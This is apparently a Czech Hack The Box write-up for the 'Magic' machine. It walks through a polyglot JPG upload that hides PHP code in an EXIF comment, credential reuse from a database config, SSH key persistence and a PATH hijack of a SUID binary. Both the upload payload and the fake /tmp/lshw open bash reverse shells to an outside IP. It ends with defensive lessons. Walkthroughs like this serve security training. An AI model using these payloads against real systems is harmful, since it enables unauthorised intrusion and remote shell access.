Magic
Úvod a kontext
Magic stojí na trojici velmi konkrétních selhání. Upload přijme obrázek s vloženým PHP kódem, db.php5 a tabulka login vydají kombinaci hesel pro účet theseus, a root nakonec padne na SUID binárce /bin/sysinfo, která volá lshw bez absolutní cesty.
V každé fázi jde o jiný typ problému. Web dává www-data, lokální tajemství dají theseus a až PATH hijack přes vlastní /tmp/lshw zavře poslední krok. Prakticky tak Magic propojuje tři samostatné vzorce, které rozebírám i v článcích Nebezpečné uploady: polygloty, WAR deploy a plugin upload, Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji a PATH, PYTHONPATH a wrapper hijack.
Počáteční průzkum
Apache a upload za loginem
Venku jsou jen dvě služby: SSH a Apache. To samo o sobě znamená, že první foothold bude téměř jistě přes web. Dirsearch navíc rychle ukáže upload.php, který přesměrovává na login.php, takže je zřejmé, že aplikace umí nahrávat soubory a zároveň za nimi drží nějakou jednoduchou autentizaci.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
=> [13:24:13] 302 - 3KB - /upload.php -> login.php
Analýza zjištění
Polyglot upload s dvojitou příponou
Upload kontroluje soubor jen povrchně. Stačí tedy vzít validní JPG, vložit PHP payload do EXIF komentáře a poslat ho pod jménem image2.php.jpg s Content-Type: image/jpeg. Aplikace ho uloží pod webroot a Apache pak při požadavku na nahraný soubor zpracuje i vložený PHP kód. Je to přesně ten typ polyglot uploadu, který rozebírám i v článku Nebezpečné uploady: polygloty, WAR deploy a plugin upload.
exiftool -Comment='<?php system("/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.31/4000 0>&1\""); ?>' 3.jpg
curl --form "image=@3.jpg;filename=image2.php.jpg;type=image/jpeg" --form "submit=Upload%20Image" http://$IP/upload.php
netcat -lvp 4000
http://10.10.10.185/images/uploads/image2.php.jpg
Získání přístupu
Z www-data na theseus
Webový shell běží jako nízko privilegovaný uživatel, takže další cíl je najít lokální tajemství. Konfigurace db.php5 obsahuje databázový účet theseus a z tabulky login vypadne heslo Th3s3usW4sK1ng. Právě kombinace těchto dvou artefaktů vede k účtu theseus.
cat db.php5
=> private static $dbUsername = 'theseus';
=> private static $dbUserPassword = 'iamkingtheseus';
SELECT * FROM login;
=> stdClass Object ( [id] => 1 [username] => admin [password] => Th3s3usW4sK1ng )
Jakmile funguje su theseus, vyplatí se přidat vlastní SSH klíč a přepnout se na stabilní přístup přes SSH.
su theseus
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> ~/.ssh/authorized_keys
ssh theseus@$IP
cat user.txt
__CENSORED__
Eskalace oprávnění
/bin/sysinfo a hijack přes PATH
Na účtu theseus už lokální enumerace ukáže root-owned binárku /bin/sysinfo, kterou může spouštět skupina users. pspy napoví, že program používá externí nástroj lshw bez absolutní cesty. To stačí na klasický PATH hijack: do /tmp se připraví vlastní lshw, upraví se PATH a sysinfo pak spustí útočníkův skript jako root.
ls -l /bin/sysinfo
=> -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
export PATH=/tmp:$PATH
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.31/4001 0>&1"' > /tmp/lshw
chmod +x /tmp/lshw
/bin/sysinfo
Po získání root shellu už stačí dočíst root.txt.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Magic nezačíná exploitem frameworku, ale špatně navrženým uploadem, který dovolí podstrčit JPG s PHP payloadem a dvojitou příponou.
- Přechod na
theseusnevznikl další zranitelností, ale reuse hesla mezi aplikací a systémovým účtem. - Root část je čistý příklad PATH hijacku: privilegovaná binárka spouští externí utility bez absolutní cesty, a tím sama otevírá cestu k rootu.
Co si odnést do praxe
- Upload nestačí kontrolovat podle MIME typu nebo koncovky. Pokud server uloží nahraný soubor do vykonatelného webrootu, stačí i malý validační omyl k RCE.
- Hesla používaná v aplikaci nesmějí fungovat i pro lokální uživatele. Magic ukazuje, jak snadno se z úniku databázového tajemství stane SSH foothold.
- Privilegované utility mají volat systémové příkazy absolutní cestou. Jakmile se při běhu s vyššími právy spoléhají na
PATH, dává to útočníkovi přímou cestu k escalaci.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky